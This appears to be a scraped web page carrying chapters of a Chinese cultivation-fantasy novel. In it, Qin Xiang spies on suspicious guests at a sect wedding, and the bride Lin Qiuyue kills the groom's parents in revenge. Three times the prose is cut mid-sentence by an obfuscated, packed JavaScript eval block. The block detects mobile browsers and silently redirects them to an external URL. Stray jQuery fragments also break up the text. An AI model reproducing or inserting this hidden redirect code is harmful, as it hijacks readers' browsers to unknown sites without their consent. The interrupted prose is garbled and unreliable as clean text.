;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157811|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小院,小院四周都是结实的墙壁,秦湘此时站着的这条小巷就是唯一的退路。秦湘心道:死胡同,这萧时闻走到这里来干嘛?难道这院子里有什么秘密? 正思忖着,谁知那萧时闻竟脚步一顿,左右望了一眼后便要回身望来。秦湘头皮发麻,心中顿感不妙,可左右这时除了光秃秃的墙壁,竟无一个藏身之处。心急之下,连忙足尖一点,掠上墙头,翻到了墙壁后面。 萧时闻前后左右都没有看到人,这才放下心来地松了一口气,抬脚便朝着小院中继续走去。 秦湘不敢再翻过巷子这边来了,于是便在墙壁这边,轻手轻脚地朝着那小院走去,感觉已经走到了适宜的位置了,她才停下脚步,继续屏气凝神地探上墙头,悄悄地朝着萧时闻那边望去。 这别院看着确实是荒废了还未曾翻新修葺过,庭院之中杂草丛生,正中央还有一棵高大粗壮的梧桐树。秦湘悄悄地趴在墙头,看着萧时闻走到了那棵梧桐面前,然后在袖子中摸索了一段时间,然后慢慢地、慢慢地…… 秦湘连大气都不敢出了,睁大着眼睛,聚精会神地盯着他袖间,只见萧时闻就在这紧张气氛当中,在秦湘高度紧绷的神情之下,慢慢地、缓缓地掏出了袖子中他藏着跑了一路的东西。 看见那玩意的那瞬间,秦湘两眼一黑,险些从墙头上滚下去!那只是一个平平无奇、普通得不能再普通的肉包而已!!!如果要非说它与其它包子有何不同之处,那就是它更大一些,更圆一些,更白一些而已!!!除此之外,再无其它!!! 秦湘越看越气,气到后头都给自己整笑了,一把从墙头上跳下,转身就要往回走。她觉得这千机阁阁主萧时闻是真有病吧,揣着个包子跟做贼似的东躲西藏,她也是真有病,大晚上的睡饱了撑的没事做,跟着这么一个怪人拿着个包子跑了这么久。 往回走了两步,秦湘脚步一顿,还是觉得不心甘,她实在是不相信自己一晚上就是追着个包子跑了一路。想了半晌,她决定再看一看,于是折返回去又趴在了墙头,继续看着那小院。 小院里,萧时闻拿着那个包子站在那梧桐树下,等了一会儿,忽然一阵窸窸窣窣的声音从树上传来。秦湘的一颗心再次随着这声音紧紧揪起,萧时闻抬头看向树枝,声音低沉道:“来了就下来吧,别被人发现了。” 秦湘捏紧墙头,这萧时闻果然不简单,终于要露出真面目了吗?! 然后在这紧张氛围下,两只花猫从树上跳下,看见萧时闻,一边亲切地喵喵叫着,一边绕着他的腿亲昵地蹭着。 萧时闻蹲下,伸手挨个摸了摸它们的头,然后将手中的包子分成两半放在了两只猫面前,一边看着它们吃,一边温声道,“吃吧,吃完了就快些走吧,不然被人发现了又要赶你们了,到时候可没这么好运气再遇见我。” “……”秦湘再度两眼一黑,她从墙头跳下,这次真就是转身就走,不带任何犹豫的。 “我也真是有病,才会觉得萧时闻揣着个包子是为了见什么神秘人。”秦湘一边往回走,一边忿忿地嘀咕着。走了一阵,眼看着方才她走错的那小花园就在眼前了,她正准备加快脚步朝着大厅宴席方向走时,却又有一道黑色的身影行色诡异地从她面前匆匆闪过。 秦湘心一抖,几乎是本能反应地就往小巷里的黑暗墙角里闪。等她双手扒着墙壁探头出去看的时候,她才猛然惊醒自己在干什么,又没做什么亏心事,为什么要藏起来? 思及此,她大大方方地从阴影里走了出来。那身影走得很急,秦湘一开始闪的也很快,所以那人并未发现角落里的秦湘。 秦湘顺着他远去的方向望去,再眯眼仔细一看,那不是林秋月的随从凌川吗?!见他这行为举止,鬼鬼祟祟的程度不亚于方才秦湘跟的那萧时闻。 今晚上是怎么回事?明明宴会即将开席,一个两个的却都偷偷摸摸地往外跑?难道真的有什么大事会发生? 秦湘正摩挲着下巴在心中默默地盘算着,忽然一个白白胖胖的大肉包浮现在她脑海中,她一顿,所有的想法瞬间便卡在了这里。 她晃晃脑袋,算了算了,说不定又是这么个怪人呢,没什么好看的,跟我没关系,还是去找爹爹神君他们吧,同样的傻事我可不能做第二回。 秦湘一边在心中默念着自己不能做傻事,一边抬脚朝着大厅走去。然而没走几步,却又忽然定在了原地,静默片刻,转身便朝着方才凌川消失的方向狂奔而去。 一边奔,一边无奈叹气,果然,在好奇心面前,傻算什么,万一凌川真有鬼呢?所以,她更加应该要跟上去看看他到底想干什么。 69.夜探墙垣 于是秦湘就这么将跟踪的对象从萧时闻换成了凌川。秦湘一路贴着墙角,跟着凌川又在这云雾宗中转来转去,明明是飞羽门的人,却对云雾宗的地形设置十分熟悉,他不像萧时闻一样,走几步便要回头留意一下前后左右,而是径直地一路疾走。 秦湘跟着他绕了一段时间,越走就越觉得他像是在故意绕远路的一般,没有任何意义与目标方向的纯属在乱走。就在秦湘以为这次也是她想多了之时,凌川终于停下了他乱走的脚步,站在原地,秦湘放轻呼吸,悄悄探头往那处望去。 在凌川面前,是一扇木制门扉,门锁朴质,像是一扇后门,凌川此时就站在那扇木制门扉面前,转头往左右望了望,确定四周无人之后便伸手推开门走了进去。 秦湘站在墙角阴影里,等了片刻,没有听见门内有任何声音了,才慢慢地走了过去,站在那扇门面前,顿了顿,看了看那扇门,又看了看一旁的墙,须臾,足尖一掠,腾身而起,翻上了高墙。 她隐在夜色中,看着凌川穿过院子,进了远处的一个房间。秦湘蛰伏了片刻,才几个起落,掠至了那个屋顶之上。然后收势屏息,指尖一点,祭出一缕红色的灵力,灵流擦过她面前的屋檐瓦片,在她面前形成了一个透明的小孔,不大不小,刚好够她看清屋里的局势。 秦湘收回指尖,趴在屋檐上,小心翼翼地向着房间里面看去。房间里,凌川站在中央,朝着前方微微鞠躬行了一礼,然后低头恭敬道:“门主。” 秦湘闻言一愣,门主?林秋月?这个时辰?她不应该要准备与贺景文一起出席在今晚的前宴上吗?心中正奇怪着,下一刻,一个红色的身影走进了她的视线,那女子一袭红色隆重礼服,不是今晚的新嫁娘林秋月又是谁? 林秋月缓缓地走到凌川面前,开口道:“事情可办妥了?” 凌川依旧是保持着行礼的姿势,低声道,“嗯,一个不漏,都已安置妥当。” “嗯,所有的恩怨也是时候该结束了,”林秋月慢慢走到窗边,看着不远处夜空中炸开的璀璨烟火,顿了顿,脸上绽放出了一个灿烂且危险的笑容,“我终于可以让姐姐安心了,这一刻,我让她等得太久了。” 凌川站定在原地,目光追随着林秋月而去,他怔怔地看了面前的女子一会儿,忽然,又颔首道,“门主。” “怎么了?”林秋月闻言转过身来,望向他。 凌川注视着她,目光中似是恭敬,又像是掩藏着几分别的什么情绪,他开口道:“我希望门主将这次的任务也交由我来做,让我来替你,你想要的,我都会帮你。” 林秋月微微眯眼,朝着他走近,神情沉重地看了他片刻,肃然道,“不行,这件事必须由我自己来做。” 房间里一时陷入了僵持,两人就这么互盯着,半晌,凌川眉目微沉,声音低哑,“门主,你会没有退路的。” “我在两年前就已没了退路,”林秋月苦涩道,“这两年,我就像一具行尸走肉,凌川,我知道我欠你,所以这一次,你不要插手了,让我自己来,”她说着,又走到一旁,拿出了一块令牌和一卷书籍,递到了凌川面前,“这是飞羽门的门主令和万雷剑法,我交由你了,我已留下手谕,你将会是飞羽门的新任门主。” “门主!”凌川没有去接那两件门主信物,反而立即颔首跪在了林秋月面前。 林秋月没有阻止他,只是站在那里,静静地看着他,半晌,一声叹息,自顾自地道,“凌川,从小到大,除了姐姐,便是你最懂我,这是姐姐的心愿,如果一定要有一个人站在黑暗里,那那个人只能是我。虽然我不喜欢飞羽门,它存在与否对我而言都不重要,但是姐姐在乎,我希望她用命守护的东西能一直好好的,你懂吗?” 林秋月说完了,凌川蓦地抬起了头看向她,林秋月也定定地看着他,手还保持着拿着令牌书卷递向他的姿势僵在半空中,她在等着他接手。 静了片刻,最后凌川颔首,神情郑重,缓缓地从她手中将东西接过。顿了顿,又道,“门主你从来都没有欠我什么,从你救下我的那一刻起,我的命便是你的了。” 林秋月几不可闻的怔了一下,不过片刻却又恢复了正常神色,她冷冷地收回手,转过身去不再看他,声音无喜无悲,冷淡道,“好了,起来吧,该走了。” 凌川颔首,起身,在原地站定,看着林秋月率先拉开房间门走了出去,他低着头,随后也跟着一起出去了。 秦湘放低身子,看着两人一前一后地走出了这个院子,待两人走远,她才直起身子,双手一展,身子在空中旋出一个干净利落的弧度,然后施施然地落在了院中。 想着方才凌川与林秋月的对话,她总觉得,今晚不似表面这么平静,会有大事发生一般,不过目前还摸不准他们到底要做什么。秦湘思索了片刻,无果,摇摇头。先走一步看一步吧,更何况五湖四海仙门百家的人都聚首在了这云雾宗内,就算真要动起手来,也不至于会吃亏。 想到这儿,像是给自己定了定心,秦湘在院中站了一会儿,转身抬脚朝着宴席地点走去。 作为六大门派之末的云雾宗,这两年来因为贺景文的缘故在修仙界中的名气渐有所长,在各家看来,此次与飞羽门的联姻,就是两方势力的结盟,也许这位少主在与林秋月成亲之后,渐渐的会将飞羽门并入其门下也说不定呢。所以这次盛宴,才会如此大手笔,广发请柬,邀天下各大小门派同往见证,定是为他们日后重回大众视线而做准备。 为了在天下诸位英杰面前涨足面子,贺景文的这次大婚晚宴可所谓是十分奢华盛大。盛宴设置在华羽殿,殿内金碧辉煌,红绸从房檐廊角轻轻垂下,随风轻舞,殿门大开,从门口望去,火树银花接连不断,在漆黑的夜幕中恢宏炸开,流光璀璨,也瞬间将黑夜照得明亮如白昼。 宾客们此时都已陆续到齐,华羽殿中一片觥筹交错,长老们站在门口,不论来者是谁,都是一副笑容满脸满脸客气的样子,先是客套云云几句,再遣弟子将人恭恭敬敬地请进殿内入席。 周楚闵等人此时也正坐在席间,秦叙一早便被人拉去闲聊客套去了,留下三人围坐在桌边百无聊赖地吃着瓜果点心喝着茶。长锦放下手中的杯子,朝着殿门口望了一眼,此时距离开席只剩不到半个时辰了,可却还是没有看见秦湘的身影。 周楚闵坐在一旁,喝了口茶,刚放下茶杯,眼角余光便瞥见了长锦的神情动作,看着他微皱的眉宇,他一怔,旋即问道,“席清长老可是在担心阿湘?” 长锦收回目光,淡淡地看了他一眼,点头道,“宴席快开始了,秦湘还没来。” “阿湘不会是迷路了吧?”周楚闵也伸长着脖子看了看殿门口,都是些不眼熟的人,他挠了挠头,又将身子坐正,“也不应该啊,没听说过阿湘还有这毛病啊?” 沈清桐看了看两人,在一片热闹喧嚣中起身,朝着两人道,“楚闵你和席清长老先坐着吧,我去阿湘休息的房间里找找看看,也许阿湘是太累了睡得太沉了呢。” 毕竟是女孩子的房间,长锦与周楚闵就算再熟也不好直接同往,便只能这样。周楚闵抬头仰面道,“行,那清桐你去看看,如果阿湘还没起的话就把她叫起来。” “好。”沈清桐应了,不过才刚转身准备离去之时,迎面却看见了一个熟悉的身影从门口走了进来。那人一袭青色衣裙,站在大殿边缘,一边走着一边左右张望,正是秦湘。 “阿湘。”沈清桐走了过去,拉住了她的手。秦湘一怔,回过头来,看见沈清桐,笑着唤了一声清桐姐姐。沈清桐嗯了一声,又道,“走吧,宴会都快开始了,你要是再不来我就要去找你了。” 秦湘顿了一顿,嘿嘿笑了笑,道,“本来出门挺早的,路上遇见了点事,就耽搁了会。” 两人一同入了席,在原地坐着等的长锦与周楚闵一见秦湘,一颗提着的心也是松了下来。长锦拉开座椅,秦湘才刚在他身旁坐下,周楚闵便开口问道,“阿湘,你怎么来这么晚?睡过头了?” “没有,那烟花声就没停过,我是猪也该醒了,是路上遇到了些事情。”秦湘伸手为自己倒了杯茶,跑了一晚上,可累死了。她喝了两口,又左右望了望,问道,“爹爹呢?” “在那呢,一早就被人拉去了,盛情难却啊,掌门和谁都能聊上两句。”周楚闵说着,朝着殿中某一个方位抬抬下巴。秦湘顺着他指的方向望去,秦叙正坐在那,手中执着一只白玉杯,乔修远也坐在他身边,一边笑着一边又开了一壶新酒,然后拉扯着往秦叙酒杯中倒。在他们身旁,还坐了一圈秦湘不认识的各种什么门派的掌门呐长老呐之类的人物。 一群人喝着酒寒暄着,谈笑间有人不停地在劝酒,秦叙眼疾手快,一边抢过桌上的白玉杯藏在衣袖下,一边连连摆手摇头表示自己已经不能再喝了。乔修远就笑,大手一挥便将秦叙挡在身后,伸手接过旁人递过来的酒杯,仰头豪气地一饮而尽,引得席间一片叫好。 秦湘看着这幅画面,也是无奈地轻笑一声摇摇头。又四下望了望,贺景文与林秋月此时也都已经到场,正端着酒杯一个一个地问候着来往的宾客,贺景文伸手举着杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163021|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏,眉头舒展,眼含笑意,林秋月嘴角虽然也挂着淡淡的笑意,但秦湘却总觉得她并不是因为嫁给了贺景文而高兴。 说不上来的感觉,她怔怔地瞧了一会儿,又转移视线,目光下意识地在人群中寻找着凌川的身影。还未寻到凌川,却先锁定了人群中的另一个黑色身影。 那人一袭黑衣,四十多岁的模样,坐的位置是个上席。秦湘一见他,便微微愣了一愣,那是齐怀仁,清虚门的掌门人。在这里看见他,倒真是让秦湘有些许的意外,没想到他竟然也会应邀来参加贺景文的婚宴。 可能是感受到了这道视线的温度,原本垂眼喝茶的齐怀仁亳无任何征兆地便抬起了头,穿过人群朝着秦湘这个方向望来,秦湘转移不及,猝不及防地就与他来了个四目相对。 秦湘心中一抖,差点洒了手中端着的茶水,她捏紧着手中的茶杯,强装镇定地与齐怀仁对望着。他不挪眼,那她也不挪,两人就这么对看了一阵,毕竟在苍龙山后山发生的那一系列事情与清虚门多多少少有些关系,就在秦湘觉得这人是不是看出什么东西来了之时,他却忽然弯了一下眼睛,扬起嘴角朝着秦湘隔空举了一下茶杯打了个招呼。 嗯?虽然秦湘觉得他莫名其妙与她打招呼也很奇怪,但此时顾不得这么多,见他率先打破这个僵硬尴尬的局面,秦湘也正好顺坡下驴,朝他扯起嘴角胡乱笑了笑就匆匆挪开了视线。 这一插曲过后,秦湘定了定心神,缓和了片刻,才又抬头,继续在人群中加大搜索着凌川的身影,这次,她倒是很快在人群中找到了坐在飞羽门席位上的凌川。 凌川并没有坐在飞羽门靠前显眼的位置,而是独自选了个角落坐下。他握着手中的酒盏,不似周围人脸上洋溢着的微笑,他脸上的神情平静寡淡,一双漆黑的眼睛之中似有隐忍与失落,目光就这么一直跟随着不远处灯光下走在贺景文身边的林秋月。 视线是有温度的,就如方才的齐怀仁一般,林秋月自然也感受到了这道目光的温度,她脚步一顿,便朝着凌川那边望去,而凌川呢,在林秋月回头的那一刻,便已先移开了目光,转而端起了手中的酒杯仰面一饮而尽。 秦湘支着下巴,目光在两人与贺景文身上打转,长锦见她面色凝重,便小声问道,“怎么了?” “没……”秦湘回了回神,眼神在长锦面上聚焦。她沉默片刻,又转头看向一旁的沈清桐与周楚闵,“师兄,清桐姐姐,你们过来一下,我有话对你们说。” 沈清桐与周楚闵闻言抬头看向她,又朝着这边两人坐近了一些,道,“怎么了?” 秦湘凑近三人,小声道:“今晚上恐怕会有变数。” 听到这句话,其余三人一愣,你望望我,我望望你,最终目光都集中在了秦湘脸上。周楚闵抬眼压低声音道,“阿湘何出此言?你……可是看见了什么?” 秦湘环顾四周,见周围的人都还浸染在那欢声笑语之中,便暗暗松了一口气,收回目光,顿了顿,缓缓将今晚上她跟着凌川,然后在屋檐上的所见所闻讲与了几人听。 听完,几人面色都有些复杂沉重。周楚闵低声问道,“一个不漏?安置妥当?这林秋月与凌川要做什么呀?与谁有什么恩怨?难道是贺景文?” 秦湘摇了摇头,“不知道,他们没说,我也只听到这些,反正今晚可能不太平,现在的热闹都像是暴风雨前的平静。可能与飞羽门的内幕有关,因为我听他们提到了林听晚门主,而且林秋月将门主令与万雷剑法都交予了凌川,凌川现在已经是新任的飞羽门门主了。” 沈清桐道,“今晚上各大门派的人都在,就算他们想做什么,也讨不了多少好处吧?” 长锦沉默片刻,垂了垂眼,也道,“那就只能走一步看一步了。” “嗯。”秦湘点了点头,又抬眼看了看不远处的林秋月与凌川一眼,凌川还在抬手斟着酒自顾自地喝着,林秋月则是带着她那一贯的淡笑与贺景文站在一块,目光也依旧平静。她看了两眼,很快就将头转了回来,忽然,却又像是发现了什么似的,又蓦地将头转了回去。 周楚闵见她这一来一回的,便奇怪道,“又怎么了?” 秦湘将大殿内四周又仔仔细细地环顾了一遍,半晌,才道,“师兄,清桐姐姐,你们有没有看见云雾宗宗主与宗主夫人?” 大婚盛典,婚宴的主角贺景文与林秋月在,云雾宗的各位长老们也都在,宾客们更是都已基本到齐,可作为婚宴上的另外两位主角,贺景文的父亲母亲,云雾宗的宗主与宗主夫人,直到现在,却都还未曾露过面! 70.鸿门宴席 此言一出,周楚闵与沈清桐具是一怔。 是了,按照规矩,今晚不止有贺景文与林秋月要在众人面前露面,作为云雾宗的宗主,也应该携其夫人在宴席上发言,且不说云雾宗本就想借此宴席再重回到修仙界众人的视线内,可如今宴席都已要开,却仍不见其身影,这就确实有些奇怪了。 正奇怪着,宾客间也有人发现了这一华点,于是朝着还在与人敬酒的贺景文道,“贺少主,宴席已经要开了,怎么还不见贺宗主的身影啊?贺宗主不到,这宴席是开还是不开呀?” 贺景文闻言转过身来,看了那人一眼,轻笑一声道,“李掌门说笑了,这宴席自是要开的,不过母亲这些天因为婚宴的事情过度操劳,身体稍有不适,父亲心疼母亲,故而一直陪伴在了母亲身边。我已差人前去通知,父亲母亲片刻便会到了,劳请诸位再耐心等待一会儿,宴席马上便开。” 听他这么一说,大殿中也渐渐安定了下来,人们收回了目光,继续各自谈笑着。 又复等了一刻钟,华羽殿的殿门被人推开,全场几许寂静,朝着门口看去。是前去请宗主和宗主夫人的弟子推开殿门来了,不过却只是他一人来了,在他身后,并无贺宗主与贺夫人的影子。 这弟子身上血迹斑斑,且脸色苍白如纸,惊慌失措地跑进了大殿之中,一面跑,一面忍不住地全身颤抖,朝着殿前站着的贺景文大喊道,“少主!少主!不好了!宗主和夫人他们……他们……他们出事了!!” 他跌跌撞撞地摔倒在了贺景文面前,拉着他的衣袍,几乎是惊恐地又喊了一句,“少主,你快去看看吧!!” 霎时之间,殿内一片寂静,旋即惊讶声与慌乱声四起,方才还谈笑风生的华羽殿中一片混乱。新婚前夜,瞧这架势,像是有刺客混水摸鱼进了云雾宗内,行刺了新郎的父亲与母亲,血花四溅,且凶手还不知道是谁,或许此时此刻那人还没有离去,正隐匿在人群之中,准备寻找着下一个猎物。 “你说什么?!”贺景文双眼蓦地睁大,踉跄着后退了两步,被林秋月伸手扶住了。他堪堪稳住身形,半晌,猛然回过神来,一把将那弟子从地上揪了起来,双目猩红,陡然暴怒,喝道,“你再说一次!!” 那弟子被他喝得一抖,浑身虽然还是在剧烈打着颤,但还是咬着牙,嘶哑道,“宗主和夫人……” 贺景文没有听他再说完,便将他狠狠地往旁边一摔,然后没有留下任何话语,就匆匆地朝着殿外跑去。 见他离去,大殿内的宾客面面相觑,旋即便你一句我一句地窃窃私语了起来。 “怎么回事?怎么好好的婚宴,就偏偏整成这样?” “那谁知道呢?可能是云雾宗太爱出风头,被人针对了吧,心比天高,也不看看自己几斤几两。人家那么厉害的也不见显摆,到他们这儿,就是,人没多厉害,架子倒是先摆出来了。” “嘘,陈兄,慎言呐,那凶手可能藏匿在人群之中,这种时候,还是不要多言的好。” “嗐,我只是来吃个喜酒,怎么就遇上这等晦气事,看来,回去得好好再去烧个香拜个佛去去晦气才行。” 坐在另一边本来还在和乔修远喝酒的秦叙此时也是回到了秦湘等人身边,神情看上去有几分惊慌,他护在几人面前,微微皱眉道,“看来今晚像是一场鸿门宴,阿湘,你们就站在这儿,不要乱走,我们见机行事。” 秦湘此时哪能静下心来只站在这儿,别人不知道,但是她从那个弟子满身是血的出现在了大殿之上时,便立刻将目光聚集在了林秋月与凌川身上。其他人就算平时再怎么镇定,遇到这种突发情况,第一反应也该是震惊或者诧异。 可再观这两人,凌川隐匿在角落阴影中,只与林秋月目光交汇了一瞬,便依旧是事不关己地喝着酒,林秋月虽然后来脸上也带着几分惊慌失措,但秦湘瞧得真实,在那弟子说出宗主与宗主夫人出事了的那瞬间,林秋月的嘴角,明明勾起了一丝让人不易察觉的微笑,让人不寒而栗,仿佛一切尽在她的掌控之中般。 贺景文走了,那名被吓惨了的弟子也被人搀扶了下去,云雾宗的其余长老弟子们手持宝剑,镇守在了华羽殿四周。林秋月在原地怔了一怔,半晌,也提着裙摆匆匆离去。 见她一走,秦湘几乎是片刻不犹豫的,立即起身朝着秦叙道,“爹爹,你和师兄留在这儿保护清桐姐姐吧,我和神君过去瞧瞧。” 她说罢,拉着长锦便要走。秦叙完全没反应过来发生了什么,下意识地便将她一把拉住,急道:“阿湘,你要去哪儿?!”秦湘拍拍他的手,小声道,“今晚发生的事,凶手可能是林秋月,她走了,我必须要跟上去看看,其余的事让师兄解释给你听吧,”她说着,又转眼看向周楚闵,“师兄,这边交给你了,要重点注意一下凌川的动作。” 秦湘说完,也不等秦叙再多问一句,便已趁着人群涌动,侧身闪进了夜色中。长锦拍了拍他的肩膀,朝他低声道,“掌门放心吧,秦湘有我跟着,我不会让她有事的,你们保护好自己。” “嗳——”秦叙伸手出去,却抓了个空,还没一个眨眼的功夫,长锦也跟着一起消失在了深沉的夜色里。秦叙僵在原地,愣了一瞬,只能将没说完的下半句话接着补上,“这一个两个的……” 长锦跟着秦湘一路出了华羽殿,秦湘今晚跟踪人都已经算是跟出了经验了,也许是林秋月一路行色匆匆,也顾不得再左右相看留意一下是否有人。秦湘与长锦一路相随,倒也顺利。 两人跟着林秋月拐进一条巷子,路过秦湘那时走错了的那个花园,然后又兜兜转转绕过两个庭院,最终到达了一个别院面前,林秋月站在门扉前,脚步一顿,最终举手推门而入。 林秋月走了进去后,又等了片刻,秦湘才拉着长锦上前来,站在这扇门前,秦湘乍然抬头一看,只觉得这个地方莫名眼熟。再走进院中一看,秦湘刹那间便顿住了,这、这不是那时候她跟着凌川来的那个院子?!难道这儿是贺宗主与夫人住的别院?如果真是,那那个时候林秋月与凌川出现在这里,恐怕就已经是对贺宗主他们动手了。 长锦站在她身旁,见她脸色骤变,便问,“怎么了?这个地方有什么不对吗?” 秦湘稍微冷静了一下,现在也没时间再来和长锦解释那么多,她只道,“这里可能是贺宗主和他夫人住的别院,我那时候应该是从后门来过,走吧,神君,我们快过去看看。” 说罢,秦湘便先走了出去,长锦紧跟其后,两人顺着屋子墙角,一间一间地贴了过去。秦湘放轻呼吸与脚步,猫着腰在一排的屋子之间穿梭着,不一会儿,她停在了一间屋子旁,贴着墙面听了一会儿,然后伸手祭出一缕灵力,墙壁瞬间又出现了一个不大不小透明的小孔。 秦湘眯着眼睛顺着小孔朝里面看去,看了一眼,又朝着身旁站着的长锦指了指里面,小声说道:“就是这里。”长锦凝神顺着她指的那个小孔朝里面望去。房间内,烛火摇晃,云雾宗宗主与其夫人正横躺在房间地板上,满身是血,双目圆睁,一把小巧精致的匕首丢放在两人身边。 贺景文此时也早已赶到了房间内,他一推开房门,看见倒在血泊中的父亲与母亲,几乎是瞬间双目睁大,不可置信地后退了一步,然后猛然回过神来,一边大叫着“爹!娘!”一边冲了上去。 贺宗主和贺夫人还尚有一口气在,听闻着贺景文的呼声,巍颤颤地转动着眸子,就要朝着他看过来。贺景文跪在两人面前,将两人扶着靠着床边坐下,看着两人如此惨状,贺景文惊慌之余满腔怒火瞬间被点燃,他咬牙道,“到底是谁,是谁害了你们?我定要让他付出代价!!” 贺宗主的嘴唇张了又合,合了又张,一口气堵在喉间,怎样也吐不出来一句完整的话来。他看着贺景文身上的红,愣了一下,半晌,竟是猛地扑了上去,死死地揪住了他的衣袖。 “爹!你怎么了?!你是不是想告诉我什么,你想告诉我什么?!” 贺宗主睁着一双猩红的眸子,里面满含着不甘,他又不死心地张大着嘴巴,就在他即将说出什么话来之时,一道焦急的声音打断了他呼之欲出的话语,“景文!!” 听到这个声音,贺景文一怔,回头望去,林秋月一袭华服,满脸惊恐地出现在了门口。她惶然失色地走到了贺景文身边,“这是怎么回事?!” 看见林秋月,贺宗主也怔了一下,半晌,却猛地吐出一口鲜血来。 “爹!”贺景文又惊愕地将头转了回去,也顾不得问林秋月为什么会来了,只道,“秋月,你来得正好,过来帮我将爹娘先扶到床榻上,我去找医师!” 林秋月站在他的身旁,低低地瞧着地上那已经昏过去不知是死是活的贺夫人和看上去马上快要死的贺宗主,沉默片刻,应道,“好啊。”如果贺景文这时能冷静地分辨一下,或者回头去瞧上一眼,他便会发现林秋月声音中那丝冷若冰霜的寒意与眼中那抹毫不遮掩的厌恶。 可惜,贺景文不会,而他没有及时发现,林秋月也不会再给他一次机会来重新发现。 贺景文扶着贺宗主起身,才刚将人扶在床沿边上,却见他的瞳孔骤然紧缩,猛地将贺景文朝着旁边一推,然后就这么直挺挺地挡在了他的面前。 贺景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175317|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文一时愣怔,只是下意识地便转头去看,一枚细微到几乎不能察觉的银针瞬间从他眼前飞过,然后猛然穿透了贺宗主的喉咙,“咻”的一声,狠狠地钉在了红木制成的床架上。 一滴未凝固的鲜血顺着银针滴落而下,旋即,贺宗主也在贺景文面前缓缓倒下。这一切都发生地太快,不仅贺景文没反应过来,站在外面看的秦湘与长锦一时也没反应过来。 “爹——!!”贺景文一声尖锐而绝望的惨叫划破长夜,撕心裂肺!!他双目猩红,几乎是不敢相信地、面目狰狞地回头去瞧。在他面前,林秋月收回方才甩针的手,抬眸对上贺景文的眼,一张娇艳出尘的脸上带着一缕乖巧的微笑,她似是可惜地摊了摊手。 “哎呀,没打中,死老头这么着急做什么,反正早死晚死都得死,非得抢着来,”林秋月叹了口气,“只剩一口气了还能这么折腾,早知道当时就只给你留半口了。” “林!秋!月!!”贺景文颈间青筋暴起,死死地盯着面前面前依旧笑靥如花的林秋月,咬牙切齿道,“是你!是你杀了我爹和我娘!!” 林秋月毫无惧意,也没有一丝想要掩藏的意思,她漫不经心地将手掌轻轻一抬,几枚与方才穿透贺宗主脖颈一模一样的银针慢慢虚浮在她的掌心,针尖在灯光的映照下散发着丝丝寒意。 她看着贺景文的满腔怒火,轻笑道,“是我,你知道吗?他们看见我的时候也和你现在的反应如出一辙,愤怒又能怎么样?既然你们当初没有杀死我,那今日,我必定会让你们灭亡。”她说着又嗤笑一声,“哦,说起来,你不应该谢谢我吗?还让你们一家人见上了最后一面。” “啊啊啊!!我要杀了你!!”听到最后一句,贺景文再也忍不住了,怒气冲霄,伸手便召了一柄长剑朝着对面的林秋月袭了上去。 面对着贺景文这充满怒气的一击,林秋月甚至连眼皮都没抬一下,她冷冷地看着面前的贺景文,“偷来的东西,学得再像,也是赝品,上不了台面。”说罢,反手将手中托着的几枚银针射出。 那银针夹杂着金色的雷电灵力流转之势,径直朝着贺景文冲去。霎那间,听闻“哐当”一声,长剑落地,贺景文只觉得双腿双手一痛,整个人也跟着重重地砸跪在了林秋月面前。 “你应该认得这个吧?”林秋月以一种睥睨的姿态俯视着他,把玩着掌中的一枚银针,唇边的笑意渗着刺骨的寒意,“这是你当初打入我姐姐体内的那六枚雾影针,本来我应该都还给你的,可是那老东西为你挡去了一根,便宜你了,少受一根的苦。” “原来你这两年,一直都是在骗我,”贺景文死死地盯着她,“早知道当初,我就该连你一起杀掉!呵,怪我,怪我心慈手软,留你一命,如今养虎为患。” “好了,你这话说出来骗骗你自己就行了,”林秋月心平气和地在他面前蹲下,然后伸手掐住他的脖颈,强迫他抬起脸来,缓缓将他脸上的每一个表情都收入眼底,“心慈手软?贺景文,你觉得你和这四个字沾边吗?菩萨做久了就忘记了自己本来是个什么东西了吧?” 说罢,手用力一甩,随着林秋月手掌一收回,贺景文顿时如一滩烂泥般伏倒在地。林秋月缓缓起身,伸手将头上的那顶凤冠摘下,随手往旁边一扔,然后,在她的周身渐渐浮现出了一层金色的灵力,灵力震荡而过,与贺景文身上那件相配的红色喜服霎时之间便被震了个粉碎。 劲风掠过,喜服破碎,墨色的长发随风飘扬,在她身上,依旧是那一袭如故人般的紫衣。 